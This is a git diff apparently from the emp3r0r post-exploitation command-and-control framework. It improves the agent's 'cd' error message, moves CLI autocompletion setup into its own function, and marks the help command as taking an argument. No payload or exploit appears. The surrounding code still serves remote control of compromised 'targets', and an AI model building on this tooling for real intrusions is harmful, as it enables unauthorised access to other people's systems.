diff --git a/core/lib/agent/ccHandler.go b/core/lib/agent/ccHandler.go index f95d8fbc6..66887afce 100644 --- a/core/lib/agent/ccHandler.go +++ b/core/lib/agent/ccHandler.go @@ -271,10 +271,11 @@ func processCCData(data *emp3r0r_data.MsgTunData) { out = fmt.Sprintf("args error: %v", cmdSlice) break } - if os.Chdir(*path) == nil { - out = "changed directory to " + strconv.Quote(*path) + err = os.Chdir(*path) + if err != nil { + out = fmt.Sprintf("cd failed: %v", err) } else { - out = "cd failed" + out = "changed directory to " + strconv.Quote(*path) } break case "pwd": diff --git a/core/lib/cc/cli.go b/core/lib/cc/cli.go index 6f8d9b745..7e39927fb 100644 --- a/core/lib/cc/cli.go +++ b/core/lib/cc/cli.go @@ -54,34 +54,9 @@ var ( err error ) -// CliMain launches the commandline UI -func CliMain() { - // print banner - err = CliBanner() - if err != nil { - CliFatalError("Banner: %v", err) - } else { - // start all services - go TLSServer() - go ShadowsocksServer() - go InitModules() - } - - // unlock incomplete downloads - err = UnlockDownloads() - if err != nil { - CliPrintWarning("UnlockDownloads: %v", err) - } - +func init_completion() { // completer CmdCompls = []readline.PrefixCompleterInterface{ - readline.PcItem("set", - readline.PcItemDynamic(listOptions(), - readline.PcItemDynamic(listValChoices()))), - - readline.PcItem("use", - readline.PcItemDynamic(listMods())), - readline.PcItem("rm", readline.PcItemDynamic(listRemoteDir())), @@ -109,12 +84,19 @@ func CliMain() { readline.PcItem(HELP, readline.PcItemDynamic(listMods())), + readline.PcItem("use", + readline.PcItemDynamic(listMods())), + readline.PcItem("target", readline.PcItemDynamic(listTargetIndexTags())), readline.PcItem("label", readline.PcItemDynamic(listTargetIndexTags())), + readline.PcItem("set", + readline.PcItemDynamic(listOptions(), + readline.PcItemDynamic(listValChoices()))), + readline.PcItem("delete_port_fwd", readline.PcItemDynamic(listPortMappings())), } @@ -129,6 +111,29 @@ func CliMain() { CliCompleter.SetChildren(CmdCompls) // remember initial CmdCompls InitCmdCompls = CmdCompls +} + +// CliMain launches the commandline UI +func CliMain() { + // print banner + err = CliBanner() + if err != nil { + CliFatalError("Banner: %v", err) + } else { + // start all services + go TLSServer() + go ShadowsocksServer() + go InitModules() + } + + // unlock incomplete downloads + err = UnlockDownloads() + if err != nil { + CliPrintWarning("UnlockDownloads: %v", err) + } + + // set up autocompletion + init_completion() // prompt setup filterInput := func(r rune) (rune, bool) { diff --git a/core/lib/cc/cmd.go b/core/lib/cc/cmd.go index 2d5bed02d..48f8085f7 100644 --- a/core/lib/cc/cmd.go +++ b/core/lib/cc/cmd.go @@ -23,9 +23,10 @@ type Command struct { // CommandMap holds all commands var CommandMap = map[string]Command{ HELP: { - Name: HELP, - Help: "Print this help, 'help ' gives help for a module", - Func: nil, + Name: HELP, + Help: "Print this help, 'help ' gives help for a module", + Func: nil, + HasArg: true, }, "target": { Name: "target",